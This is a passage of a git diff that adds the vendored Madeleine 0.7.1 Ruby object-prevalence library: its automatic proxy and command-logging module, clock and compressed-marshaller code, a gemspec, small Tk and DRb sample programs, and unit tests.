+# a single program, and is also safe to use with threads.
+#
+# Usage:
+#
+#  require 'madeleine'
+#  require 'madeleine/automatic'
+#
+#  class A
+#    include Madeleine::Automatic::Interceptor
+#    attr_reader :foo
+#    automatic_read_only :foo
+#    def initialize(param1, ...)
+#      ...
+#    end
+#    def some_method(paramA, ...)
+#      ...
+#    end
+#    automatic_read_only
+#    def bigfoo
+#      foo.upcase
+#    end
+#  end
+#
+#  mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
+#
+#  mad.system.some_method(paramA, ...) # logged as a command by madeleine
+#  print mad.foo                       # not logged
+#  print mad.bigfoo                    # not logged
+#  mad.take_snapshot
+#
+
+  module Automatic
+#
+# This module should be included (at the top) in any classes that are to be persisted.
+# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine.
+# It does this by returning a Prox object that is a proxy for the real object.
+#
+# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods
+# should be made into commands
+#
+    module Interceptor
+#
+# When included, redefine new so that we can return a Prox object instead, and define methods to handle
+# keeping track of which methods are read only
+#
+      def self.included(klass)
+        class <<klass
+          alias_method :_old_new, :new
+
+          def new(*args, &block)
+            Prox.new(_old_new(*args, &block))
+          end
+#
+# Called when a method added - remember symbol if read only 
+# This is a good place to add in any superclass's read only methods also
+#
+          def method_added(symbol)
+            self.instance_eval {
+              @read_only_methods ||= []
+              @auto_read_only_flag ||= false
+              @read_only_methods << symbol if @auto_read_only_flag
+              c = self
+              while (c = c.superclass)
+                if (c.instance_eval {instance_variables.include? "@read_only_methods"})
+                  @read_only_methods |= c.instance_eval {@read_only_methods}
+                end
+              end
+            }
+          end
+#
+# Set the read only flag, or add read only methods
+#
+          def automatic_read_only(*list)
+            if (list == [])
+              self.instance_eval {@auto_read_only_flag = true}
+            else
+              list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods << s}}
+            end
+          end
+#
+# Clear the read only flag, or remove read only methods
+#
+          def automatic_read_write(*list)
+            if (list == [])
+              self.instance_eval {@auto_read_only_flag = false}
+            else
+              list.each {|s| self.instance_eval {@read_only_methods ||= []; @read_only_methods.delete(s)}}
+            end
+          end
+
+        end
+      end
+#
+# Return the list of read only methods so Automatic_proxy#method_missing can find what to and what not to make into a command
+#
+      def read_only_methods
+        self.class.instance_eval {@read_only_methods}
+      end
+    end
+
+#
+# A Command object is automatically created for each method call to an object within the system that comes from without.
+# These objects are recorded in the log by Madeleine.
+# 
+    class Command
+      def initialize(symbol, myid, *args)
+        @symbol = symbol
+        @myid = myid
+        @args = args
+      end
+#
+# Called by madeleine when the command is done either first time, or when restoring the log
+#
+      def execute(system)
+        Thread.current[:system].myid2ref(@myid).thing.send(@symbol, *@args)
+      end
+    end
+#
+# This is a little class to pass to SnapshotMadeleine.  This is used for snapshots only. 
+# It acts as the marshaller, and just passes marshalling requests on to the user specified
+# marshaller.  This defaults to Marshal, but could be YAML or another.
+# After we have done a restore, the ObjectSpace is searched for instances of Prox to
+# add new objects to the list in AutomaticSnapshotMadeleine
+#
+    class Automatic_marshaller #:nodoc:
+      def Automatic_marshaller.load(io)
+        restored_obj = Deserialize.load(io, Thread.current[:system].marshaller)
+        ObjectSpace.each_object(Prox) {|o| Thread.current[:system].restore(o) if (o.sysid == restored_obj.sysid)}
+        restored_obj
+      end
+      def Automatic_marshaller.dump(obj, io = nil)
+        Thread.current[:system].marshaller.dump(obj, io)
+      end
+    end
+#
+# A Prox object is generated and returned by Interceptor each time a system object is created.
+#
+    class Prox #:nodoc:
+      attr_accessor :thing, :myid, :sysid
+      
+      def initialize(thing)
+        if (thing)
+          raise "App object created outside of app" unless Thread.current[:system]
+          @sysid = Thread.current[:system].sysid
+          @myid = Thread.current[:system].add(self)
+          @thing = thing
+        end
+      end
+#
+# This automatically makes and executes a new Command if a method is called from 
+# outside the system.
+#
+      def method_missing(symbol, *args, &block)
+#      print "Sending #{symbol} to #{@thing.to_s}, myid=#{@myid}, sysid=#{@sysid}\n"
+        raise NoMethodError, "Undefined method" unless @thing.respond_to?(symbol)
+        if (Thread.current[:system])
+          @thing.send(symbol, *args, &block)
+        else
+          raise "Cannot make command with block" if block_given?
+          Thread.current[:system] = AutomaticSnapshotMadeleine.systems[@sysid]
+          begin
+            if (@thing.read_only_methods.include?(symbol))
+              result = Thread.current[:system].execute_query(Command.new(symbol, @myid, *args))
+            else
+              result = Thread.current[:system].execute_command(Command.new(symbol, @myid, *args))
+            end
+          ensure
+            Thread.current[:system] = false
+          end
+          result
+        end
+      end
+#
+# Custom marshalling - this adds the internal id (myid) and the system id to a marshal
+# of the object we are the proxy for.
+# We take care to not marshal the same object twice, so circular references will work.
+# We ignore Thread.current[:system].marshaller here - this is only called by Marshal, and
+# marshal is always used for Command objects
+#
+      def _dump(depth)
+        if (Thread.current[:snapshot_memory])
+          if (Thread.current[:snapshot_memory][self])
+            [@myid.to_s, @sysid].pack("A8A30")
+          else
+            Thread.current[:snapshot_memory][self] = true
+            [@myid.to_s, @sysid].pack("A8A30") + Marshal.dump(@thing, depth)
+          end
+        else
+          [@myid.to_s, @sysid].pack("A8A30")  # never marshal a prox object in a command, just ref
+        end
+      end
+
+#
+# Custom marshalling for Marshal - restore a Prox object.
+#
+      def Prox._load(str)
+        x = Prox.new(nil)
+        a = str.unpack("A8A30a*")
+        x.myid = a[0].to_i
+        x.sysid = a[1]
+        x = Thread.current[:system].restore(x)
+        x.thing = Marshal.load(a[2]) if (a[2] > "")
+        x
+      end
+
+    end
+
+#
+# The AutomaticSnapshotMadeleine class contains an instance of the persister
+# (default is SnapshotMadeleine) and provides additional automatic functionality.
+#
+# The class is instantiated the same way as SnapshotMadeleine:
+# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) }
+# The second initialisation parameter is the persister.  Supported persisters are:
+#
+# * Marshal  (default)
+# * YAML
+# * SOAP::Marshal
+# * Madeleine::ZMarshal.new(Marshal)
+# * Madeleine::ZMarshal.new(YAML)
+# * Madeleine::ZMarshal.new(SOAP::Marshal)
+#
+# The class keeps a record of all the systems that currently exist.
+# Each instance of the class keeps a record of Prox objects in that system by internal id (myid).
+#
+# We also add functionality to take_snapshot in order to set things up so that the custom Prox object 
+# marshalling will work correctly.
+#
+    class AutomaticSnapshotMadeleine
+      attr_accessor :marshaller
+      attr_reader :list, :sysid
+
+      def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block)
+        @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid
+        @myid_count = 0
+        @list = {}
+        Thread.current[:system] = self # during system startup system should not create commands
+        Thread.critical = true
+        @@systems ||= {}  # holds systems by sysid
+        @@systems[@sysid] = self
+        Thread.critical = false
+        @marshaller = marshaller # until attrb
+        begin
+          @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
+          @list.delete_if {|k,v|  # set all the prox objects that now exist to have the right sysid
+            begin
+              ObjectSpace._id2ref(v).sysid = @sysid
+              false
+            rescue RangeError
+              true # Id was to a GC'd object, delete it
+            end
+          }
+        ensure
+          Thread.current[:system] = false
+        end
+      end
+#
+# Add a proxy object to the list, return the myid for that object
+#
+      def add(proxo)  
+        @list[@myid_count += 1] = proxo.object_id
+        @myid_count
+      end
+#
+# Restore a marshalled proxy object to list - myid_count is increased as required.
+# If the object already exists in the system then the existing object must be used.
+#
+      def restore(proxo)  
+        if (@list[proxo.myid])
+          proxo = myid2ref(proxo.myid)
+        else
+          @list[proxo.myid] = proxo.object_id
+          @myid_count = proxo.myid if (@myid_count < proxo.myid)
+        end
+        proxo
+      end
+#
+# Returns a reference to the object indicated by the internal id supplied.
+#
+      def myid2ref(myid)
+        raise "Internal id #{myid} not found" unless objid = @list[myid]
+        ObjectSpace._id2ref(objid)
+      end
+#
+# Take a snapshot of the system.
+#
+      def take_snapshot
+        begin
+          Thread.current[:system] = self
+          Thread.current[:snapshot_memory] = {}
+          @persister.take_snapshot
+        ensure
+          Thread.current[:snapshot_memory] = nil
+          Thread.current[:system] = false
+        end
+      end
+#
+# Returns the hash containing the systems. 
+#
+      def AutomaticSnapshotMadeleine.systems
+        @@systems
+      end
+#
+# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new 
+# system before GC gets them
+#
+      def close
+        begin
+          @list.each_key {|k| myid2ref(k).sysid = nil}
+        rescue RangeError
+          # do nothing
+        end
+        @persister.close
+      end
+
+#
+# Pass on any other calls to the persister
+#
+      def method_missing(symbol, *args, &block)
+        @persister.send(symbol, *args, &block)
+      end
+    end
+
+
+    module Deserialize #:nodoc:
+#
+# Detect format of an io stream. Leave it rewound.
+#
+      def Deserialize.detect(io)
+        c = io.getc
+        c1 = io.getc
+        io.rewind
+        if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
+          Marshal
+        elsif (c == 31 && c1 == 139) # gzip magic numbers
+          ZMarshal
+        else
+          while (s = io.gets)
+            break if (s !~ /^\s*$/) # ignore blank lines
+          end
+          io.rewind
+          if (s && s =~ /^\s*<\?[xX][mM][lL]/) # "<?xml" begins an xml serialization
+            SOAP::Marshal
+          else
+            while (s = io.gets)
+              break if (s !~ /^\s*#/ && s !~ /^\s*$/) # ignore blank and comment lines
+            end
+            io.rewind
+            if (s && s =~ /^\s*---/) # "---" is the yaml header
+              YAML
+            else
+              nil # failed to detect
+            end
+          end
+        end
+      end
+#
+# Try to deserialize object.  If there was an error, try to detect marshal format, 
+# and return deserialized object using the right marshaller
+# If detection didn't work, raise up the exception
+#
+      def Deserialize.load(io, marshaller=Marshal)
+        begin
+          marshaller.load(io)
+        rescue Exception => e
+          io.rewind
+          detected_marshaller = detect(io)
+          if (detected_marshaller == ZMarshal)
+            zio = Zlib::GzipReader.new(io)
+            detected_zmarshaller = detect(zio)
+            zio.finish
+            io.rewind
+            if (detected_zmarshaller)
+              ZMarshal.new(detected_zmarshaller).load(io)
+            else
+              raise e
+            end
+          elsif (detected_marshaller)
+            detected_marshaller.load(io)
+          else
+            raise e
+          end
+        end
+      end
+    end
+
+  end
+end
+
+AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
diff --git a/vendor/madeleine-0.7.1/lib/madeleine/clock.rb b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb
new file mode 100755
index 00000000..012c6f27
--- /dev/null
+++ b/vendor/madeleine-0.7.1/lib/madeleine/clock.rb
@@ -0,0 +1,94 @@
+#
+# Copyright(c) Anders Bengtsson 2003
+#
+
+require 'madeleine'
+
+module Madeleine
+  module Clock
+
+    # Deprecated. Use SnapshotMadeleine instead.
+    class ClockedSnapshotMadeleine < ::Madeleine::SnapshotMadeleine # :nodoc:
+    end
+
+    # Let your system extend this module if you need to access the
+    # machine time. Used together with a TimeActor that keeps
+    # the clock current.
+    module ClockedSystem
+
+      # Returns this system's Clock.
+      def clock
+        unless defined? @clock
+          @clock = Clock.new
+        end
+        @clock
+      end
+    end
+
+    # Sends clock ticks to update a ClockedSystem, so that time can be
+    # dealt with in a deterministic way.
+    class TimeActor
+
+      # Create and launch a new TimeActor
+      #
+      # * <tt>madeleine</tt> - The SnapshotMadeleine instance to work on.
+      # * <tt>delay</tt> - Delay between ticks in seconds (Optional).
+      def self.launch(madeleine, delay=0.1)
+        result = new(madeleine, delay)
+        result
+      end
+
+      # Stops the TimeActor.
+      def destroy
+        @is_destroyed = true
+        @thread.wakeup
+        @thread.join
+      end
+
+      private_class_method :new
+
+      private
+
+      def initialize(madeleine, delay) #:nodoc:
+        @madeleine = madeleine
+        @is_destroyed = false
+        send_tick
+        @thread = Thread.new {
+          until @is_destroyed
+            sleep(delay)
+            send_tick
+          end
+        }
+      end
+
+      def send_tick
+        @madeleine.execute_command(Tick.new(Time.now))
+      end
+    end
+
+    # Keeps track of time in a ClockedSystem.
+    class Clock
+      # Returns the system's time as a Ruby <tt>Time</tt>.
+      attr_reader :time
+
+      def initialize
+        @time = Time.at(0)
+      end
+
+      def forward_to(newTime)
+        @time = newTime
+      end
+    end
+
+    #
+    # Internal classes below
+    #
+
+    # Deprecated. Merged into default implementation.
+    class TimeOptimizingLogger < ::Madeleine::Logger # :nodoc:
+    end
+
+  end
+end
+
+ClockedSnapshotMadeleine = Madeleine::Clock::ClockedSnapshotMadeleine
diff --git a/vendor/madeleine-0.7.1/lib/madeleine/files.rb b/vendor/madeleine-0.7.1/lib/madeleine/files.rb
new file mode 100755
index 00000000..4276d8d5
--- /dev/null
+++ b/vendor/madeleine-0.7.1/lib/madeleine/files.rb
@@ -0,0 +1,19 @@
+#
+# Wrapper for Ruby's file services, replaced during testing
+# so we can run tests without touching a real filesystem.
+#
+
+class FileService
+
+  def open(*args)
+    super(*args)
+  end
+
+  def exist?(name)
+    File.exist?(name)
+  end
+
+  def dir_entries(name)
+    Dir.entries(name)
+  end
+end
diff --git a/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb
new file mode 100755
index 00000000..b01210ec
--- /dev/null
+++ b/vendor/madeleine-0.7.1/lib/madeleine/zmarshal.rb
@@ -0,0 +1,60 @@
+#
+# Author::    Anders Bengtsson <ndrsbngtssn@yahoo.se>
+# Copyright:: Copyright (c) 2004
+#
+
+require 'zlib'
+
+module Madeleine
+  #
+  # Snapshot marshaller for compressed snapshots.
+  #
+  # Compresses the snapshots created by another marshaller. Uses either
+  # Marshal (the default) or another supplied marshaller.
+  #
+  # Uses <tt>zlib</tt> to do on-the-fly compression/decompression.
+  #
+  # ZMarshal works with Ruby's own Marshal and YAML, but not with SOAP
+  # marshalling.
+  #
+  # Usage:
+  #
+  #  require 'madeleine'
+  #  require 'madeleine/zmarshal'
+  #
+  #  marshaller = Madeleine::ZMarshal.new(YAML)
+  #  madeleine = SnapshotMadeleine.new("my_example_storage", marshaller) {
+  #    SomeExampleApplication.new()
+  #  }
+  #
+  class ZMarshal
+
+    def initialize(marshaller=Marshal)
+      @marshaller = marshaller
+    end
+
+    def load(stream)
+      zstream = Zlib::GzipReader.new(stream)
+      begin
+        # Buffer into a string first, since GzipReader can't handle
+        # Marshal's 0-sized reads and SOAP can't handle streams at all.
+        # In a bright future we can revert to reading directly from the
+        # stream again.
+        buffer = zstream.read
+        return @marshaller.load(buffer)
+      ensure
+        zstream.finish
+      end
+    end
+
+    def dump(system, stream)
+      zstream = Zlib::GzipWriter.new(stream)
+      begin
+        @marshaller.dump(system, zstream)
+      ensure
+        zstream.finish
+      end
+      nil
+    end
+  end
+end
diff --git a/vendor/madeleine-0.7.1/madeleine.gemspec b/vendor/madeleine-0.7.1/madeleine.gemspec
new file mode 100755
index 00000000..cd5d38f8
--- /dev/null
+++ b/vendor/madeleine-0.7.1/madeleine.gemspec
@@ -0,0 +1,23 @@
+
+require 'rubygems'
+
+spec = Gem::Specification.new do |s|
+  s.name = 'madeleine'
+  s.version = '0.7.1'
+  s.platform = Gem::Platform::RUBY
+  s.required_ruby_version = ">= 1.8.1"
+  s.summary = "Madeleine is a Ruby implementation of Object Prevalence"
+  s.require_path = 'lib'
+  s.autorequire = 'madeleine'
+  s.author = "Anders Bengtsson"
+  s.email = "ndrsbngtssn@yahoo.se"
+  s.homepage = "http://madeleine.sourceforge.net"
+  s.files = Dir.glob("lib/**/*.rb")
+  s.files += Dir.glob("samples/**/*.rb")
+  s.files += Dir.glob("contrib/**/*.rb")
+  s.files += ['README', 'NEWS', 'COPYING']
+end
+
+if $0 == __FILE__
+  Gem::Builder.new(spec).build
+end
diff --git a/vendor/madeleine-0.7.1/samples/.cvsignore b/vendor/madeleine-0.7.1/samples/.cvsignore
new file mode 100755
index 00000000..5ca652ac
--- /dev/null
+++ b/vendor/madeleine-0.7.1/samples/.cvsignore
@@ -0,0 +1,3 @@
+dictionary-base
+painter-demo
+clock-demo
diff --git a/vendor/madeleine-0.7.1/samples/clock_click.rb b/vendor/madeleine-0.7.1/samples/clock_click.rb
new file mode 100755
index 00000000..c11d16a3
--- /dev/null
+++ b/vendor/madeleine-0.7.1/samples/clock_click.rb
@@ -0,0 +1,73 @@
+#
+# Simple example of using time with Madeleine.
+#
+
+$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib")
+
+require 'madeleine/clock'
+require 'tk'
+
+# The Clicker keeps track of when it was last clicked.
+#
+# To access the time it extends ClockedSystem, which provides
+# it with the 'clock' attribute.
+#
+class Clicker
+  include Madeleine::Clock::ClockedSystem
+
+  def initialize
+    @last_clicked = nil
+  end
+
+  def click
+    @last_clicked = clock.time
+  end
+
+  def last_clicked
+    return '-' if @last_clicked.nil?
+    @last_clicked.to_s
+  end
+end
+
+# A command to update the Clicker with.
+#
+class Click
+  def execute(system)
+    system.click
+  end
+end
+
+# Launch a ClockedSnapshotMadeleine.
+#
+# ClockedSnapshotMadeleine works like the regular SnapshotMadeleine, but
+# optimizes away redundant commands from TimeActor.
+#
+madeleine = ClockedSnapshotMadeleine.new("clock-demo") { Clicker.new }
+
+# Launch the TimeActor.
+#
+# This provides time commands, without which the system's time would stand still.
+#
+Madeleine::Clock::TimeActor.launch(madeleine)
+
+clicker = madeleine.system
+
+# The GUI
+
+root = TkRoot.new() { title "Madeleine Clock Example" }
+label = TkLabel.new(root) {
+  text "Last clicked " + clicker.last_clicked
+  width 40
+  pack
+}
+button = TkButton.new(root) {
+  text 'Click'
+  command proc {
+    madeleine.execute_command(Click.new)
+    label.text("Last clicked " + clicker.last_clicked)
+  }
+  pack
+}
+
+Tk.mainloop
+
diff --git a/vendor/madeleine-0.7.1/samples/dictionary_client.rb b/vendor/madeleine-0.7.1/samples/dictionary_client.rb
new file mode 100755
index 00000000..596eab5f
--- /dev/null
+++ b/vendor/madeleine-0.7.1/samples/dictionary_client.rb
@@ -0,0 +1,23 @@
+#
+# Dictionary client
+#
+# See dictionary_server.rb for details
+#
+
+require 'drb'
+
+DRb.start_service
+dictionary = DRbObject.new(nil, "druby://localhost:1234")
+
+if ARGV.length == 1
+  puts dictionary.lookup(ARGV[0])
+elsif ARGV.length == 2
+  dictionary.add(ARGV[0], ARGV[1])
+  puts "Stored"
+else
+  puts "Usage: dictionary_client <key> [<value>]"
+end
+
+
+  
+
diff --git a/vendor/madeleine-0.7.1/samples/dictionary_server.rb b/vendor/madeleine-0.7.1/samples/dictionary_server.rb
new file mode 100755
index 00000000..76c8e925
--- /dev/null
+++ b/vendor/madeleine-0.7.1/samples/dictionary_server.rb
@@ -0,0 +1,94 @@
+#
+# A dictionary server using Distributed Ruby (DRb).
+#
+# All modifications to the dictionary are done as commands,
+# while read-only queries (i.e 'lookup') are done directly.
+#
+# First launch this server in the background, then use
+# dictionary_client.rb to look up and add items to the
+# dictionary.
+# You can kill the server at any time. The contents of the
+# dictionary will still be there when you restart it.
+#
+# DRb is available at http://raa.ruby-lang.org/list.rhtml?name=druby
+#
+
+$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib")
+require 'madeleine'
+
+require 'drb'
+
+
+class Dictionary
+  def initialize
+    @data = {}
+  end
+
+  def add(key, value)
+    @data[key] = value
+  end
+
+  def lookup(key)
+    @data[key]
+  end
+end
+
+
+class Addition
+  def initialize(key, value)
+    @key, @value = key, value
+  end
+
+  def execute(system)
+    system.add(@key, @value)
+  end
+end
+
+
+class Lookup
+  def initialize(key)
+    @key = key
+  end
+
+  def execute(system)
+    system.lookup(@key)
+  end
+end
+
+
+class DictionaryServer
+
+  def initialize(madeleine)
+    @madeleine = madeleine
+    @dictionary = madeleine.system
+  end
+
+  def add(key, value)
+    # When adding a new key-value pair we modify the system, so
+    # this operation has to be done through a command.
+    @madeleine.execute_command(Addition.new(key, value))
+  end
+
+  def lookup(key)
+    # A lookup is a read-only operation, so we can do it as a non-logged
+    # query. If we weren't worried about concurrency problems we could
+    # have just called @dictionary.lookup(key) directly instead.
+    @madeleine.execute_query(Lookup.new(key))
+  end
+end
+
+
+madeleine = SnapshotMadeleine.new("dictionary-base") { Dictionary.new }
+
+Thread.new(madeleine) {
+  puts "Taking snapshot every 30 seconds."
+  while true
+    sleep(30)
+    madeleine.take_snapshot
+  end
+}
+
+DRb.start_service("druby://localhost:1234",
+                  DictionaryServer.new(madeleine))
+DRb.thread.join
+
diff --git a/vendor/madeleine-0.7.1/samples/painter.rb b/vendor/madeleine-0.7.1/samples/painter.rb
new file mode 100755
index 00000000..b9d21658
--- /dev/null
+++ b/vendor/madeleine-0.7.1/samples/painter.rb
@@ -0,0 +1,60 @@
+#
+# Simple drawing program to show Madeleine's logging feature.
+#
+# When you restart the program, your old artwork is still there.
+#
+# (Note: The GUI components used here aren't marshal-able,
+# so in a real app you would have to do custom marshaling for
+# the Painter class to get working snapshots. Then again, in a real
+# app you wouldn't use the GUI components to hold the app's data,
+# would you?)
+#
+
+$LOAD_PATH.unshift(".." + File::SEPARATOR + "lib")
+
+require 'madeleine'
+
+require 'tkclass'
+
+class Painter
+
+  def initialize(canvas)
+    @canvas = canvas
+  end
+
+  def draw(x, y)
+    line = Line.new(@canvas, x, y, x + 1, y + 1)
+    line.fill('black')
+  end
+end
+
+class PaintCommand
+
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+
+  def execute(system)
+    system.draw(@x, @y)
+  end
+end
+
+root = TkRoot.new() { title "Madeleine Painter" }
+canvas = Canvas.new(root)
+canvas.pack
+
+$madeleine = Madeleine::SnapshotMadeleine.new("painter-demo") { Painter.new(canvas) }
+
+canvas.bind("1",
+            proc {|x, y|
+              $madeleine.execute_command(PaintCommand.new(x, y))
+            },
+            "%x %y")
+canvas.bind("B1-Motion",
+            proc {|x, y|
+              $madeleine.execute_command(PaintCommand.new(x, y))
+            },
+            "%x %y")
+
+Tk.mainloop
+
diff --git a/vendor/madeleine-0.7.1/test/test.rb b/vendor/madeleine-0.7.1/test/test.rb
new file mode 100755
index 00000000..e252a53f
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test.rb
@@ -0,0 +1,320 @@
+#!/usr/bin/env ruby
+#
+
+$LOAD_PATH.unshift("lib")
+$LOAD_PATH.unshift("test")
+
+require 'madeleine'
+require 'test/unit'
+
+
+class Append
+  def initialize(value)
+    @value = value
+  end
+
+  def execute(system)
+    system << @value
+  end
+end
+
+
+module TestUtils
+  def delete_directory(directory_name)
+    return unless File.exists?(directory_name)
+    Dir.foreach(directory_name) do |file|
+      next if file == "."
+      next if file == ".."
+      assert(File.delete(directory_name + File::SEPARATOR + file) == 1,
+             "Unable to delete #{file}")
+    end
+    Dir.delete(directory_name)
+  end
+end
+
+
+class SnapshotMadeleineTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    delete_directory(persistence_base)
+  end
+
+  def persistence_base
+    "closing-test"
+  end
+
+  def test_closing
+    madeleine = SnapshotMadeleine.new(persistence_base) { "hello" }
+    madeleine.close
+    assert_raises(RuntimeError) do
+      madeleine.execute_command(Append.new("world"))
+    end
+  end
+end
+
+class NumberedFileTest < Test::Unit::TestCase
+
+  def test_main
+    target = Madeleine::NumberedFile.new(File::SEPARATOR + "foo", "bar", 321)
+    assert_equal(File::SEPARATOR + "foo" + File::SEPARATOR +
+                 "000000000000000000321.bar",
+                 target.name)
+  end
+end
+
+
+class LoggerTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    delete_directory("whoah")
+  end
+
+  def test_creation
+    @log = Object.new
+    def @log.store(command)
+      unless defined? @commands
+        @commands = []
+      end
+      @commands << command
+    end
+    def @log.commands
+      @commands
+    end
+
+    log_factory = self
+    target = Madeleine::Logger.new("whoah", log_factory)
+    target.store(:foo)
+    assert(@log.commands.include?(:foo))
+  end
+
+  # Self-shunt
+  def create_log(directory_name)
+    @log
+  end
+end
+
+class CommandVerificationTest < Test::Unit::TestCase
+
+  def teardown
+    Dir.delete("foo")
+  end
+
+  def test_broken_command
+    target = SnapshotMadeleine.new("foo") { :a_system }
+    assert_raises(Madeleine::InvalidCommandException) do
+      target.execute_command(:not_a_command)
+    end
+  end
+end
+
+
+class CustomMarshallerTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    delete_directory(prevalence_base)
+  end
+
+  def prevalence_base
+    "custom-marshaller-test"
+  end
+
+  def madeleine_class
+    SnapshotMadeleine
+  end
+
+  def test_changing_marshaller
+    @log = ""
+    marshaller = self
+    target = madeleine_class.new(prevalence_base, marshaller) { "hello world" }
+    target.take_snapshot
+    assert_equal("dump ", @log)
+    target = nil
+
+    madeleine_class.new(prevalence_base, marshaller) { flunk() }
+    assert_equal("dump load ", @log)
+  end
+
+  def load(io)
+    @log << "load "
+    assert_equal("dump data", io.read())
+  end
+
+  def dump(system, io)
+    @log << "dump "
+    assert_equal("hello world", system)
+    io.write("dump data")
+  end
+end
+
+
+class ErrorRaisingCommand
+  def execute(system)
+    raise "this is an exception from a command"
+  end
+end
+
+class ErrorHandlingTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    delete_directory(prevalence_base)
+  end
+
+  def prevalence_base
+    "error-handling-base"
+  end
+
+  def test_exception_in_command
+    madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" }
+    assert_raises(RuntimeError) do
+      madeleine.execute_command(ErrorRaisingCommand.new)
+    end
+    madeleine.close
+    madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" }
+    madeleine.close
+  end
+end
+
+class QueryTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    delete_directory(prevalence_base)
+  end
+
+  def prevalence_base
+    "query-base"
+  end
+
+  def test_querying
+    madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" }
+    query = Object.new
+    def query.execute(system)
+      system.size
+    end
+    # 'query' is an un-marshallable singleton, so we implicitly test
+    # that querys aren't stored.
+    assert_equal(5, madeleine.execute_query(query))
+    # TODO: assert that no logging was done
+    # TODO: assert that lock was held
+  end
+end
+
+
+class TimeOptimizingLoggerTest < Test::Unit::TestCase
+  include TestUtils
+
+  def setup
+    @target = Madeleine::Logger.new("some_directory", self)
+    @log = []
+    def @log.store(command)
+      self << command
+    end
+  end
+
+  def teardown
+    delete_directory("some_directory")
+  end
+
+  def test_optimizing_ticks
+    assert_equal(0, @log.size)
+    @target.store(Madeleine::Clock::Tick.new(Time.at(3)))
+    assert_equal(0, @log.size)
+    @target.store(Madeleine::Clock::Tick.new(Time.at(22)))
+    assert_equal(0, @log.size)
+    @target.store(Addition.new(100))
+    assert_kind_of(Madeleine::Clock::Tick, @log[0])
+    assert_equal(22, value_of_tick(@log[0]))
+    assert_equal(100, @log[1].value)
+    assert_equal(2, @log.size)
+  end
+
+  def value_of_tick(tick)
+    @clock = Object.new
+    def @clock.forward_to(time)
+      @value = time.to_i
+    end
+    def @clock.value
+      @value
+    end
+    tick.execute(self)
+    @clock.value
+  end
+
+  # Self-shunt
+  def create_log(directory_name)
+    assert_equal("some_directory", directory_name)
+    @log
+  end
+
+  # Self-shunt
+  def clock
+    @clock
+  end
+end
+
+
+class SharedLockQueryTest < Test::Unit::TestCase
+  include TestUtils
+
+  def prevalence_base
+    "shared_lock_test"
+  end
+
+  def teardown
+    delete_directory(prevalence_base)
+  end
+
+  def test_query
+    madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" }
+    lock = Object.new
+    madeleine.instance_eval { @lock = lock } # FIXME: The horror, the horror
+
+    $shared = false
+    $was_shared = false
+    def lock.synchronize_shared(&block)
+      $shared = true
+      block.call
+      $shared = false
+    end
+    query = Object.new
+    def query.execute(system)
+      $was_shared = $shared
+    end
+    madeleine.execute_query(query)
+    assert($was_shared)
+  end
+end
+
+suite = Test::Unit::TestSuite.new("Madeleine")
+
+suite << SnapshotMadeleineTest.suite
+suite << NumberedFileTest.suite
+require 'test_command_log'
+suite << CommandLogTest.suite
+suite << LoggerTest.suite
+suite << CommandVerificationTest.suite
+suite << CustomMarshallerTest.suite
+suite << ErrorHandlingTest.suite
+suite << QueryTest.suite
+suite << TimeOptimizingLoggerTest.suite
+suite << SharedLockQueryTest.suite
+require 'test_executer'
+suite << ExecuterTest.suite
+
+require 'test_clocked'
+add_clocked_tests(suite)
+require 'test_automatic'
+add_automatic_tests(suite)
+require 'test_persistence'
+add_persistence_tests(suite)
+require 'test_platforms'
+add_platforms_tests(suite)
+require 'test_zmarshal'
+add_zmarshal_tests(suite)
+
+require 'test/unit/ui/console/testrunner'
+Test::Unit::UI::Console::TestRunner.run(suite)
diff --git a/vendor/madeleine-0.7.1/test/test_automatic.rb b/vendor/madeleine-0.7.1/test/test_automatic.rb
new file mode 100755
index 00000000..da0c1719
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_automatic.rb
@@ -0,0 +1,559 @@
+#!/usr/local/bin/ruby -w
+#
+# Copyright(c) 2003-2004 Stephen Sykes
+# Copyright(c) 2003-2004 Anders Bengtsson
+#
+
+$LOAD_PATH.unshift("lib")
+
+require 'madeleine'
+require 'madeleine/automatic'
+require 'test/unit'
+#require 'contrib/batched.rb' # uncomment if testing batched
+
+class A
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :z,:k
+  def initialize
+    @k=1
+  end
+end
+
+class B
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :yy, :s
+  def initialize(a)
+    @yy = C.new(a)
+  end
+end
+
+class C
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :x, :a
+  def initialize(x)
+    @x = x
+    @a ||= D.new
+  end
+end
+
+# direct changes in this class are not saved, except at snapshot
+class D
+  attr_accessor :w
+end
+
+class F
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :z,:a
+  def plus1
+    @z += 1
+  end
+end
+
+class G
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :yy,:a
+  def initialize
+    @yy = H.new
+  end
+end
+
+class H
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :w
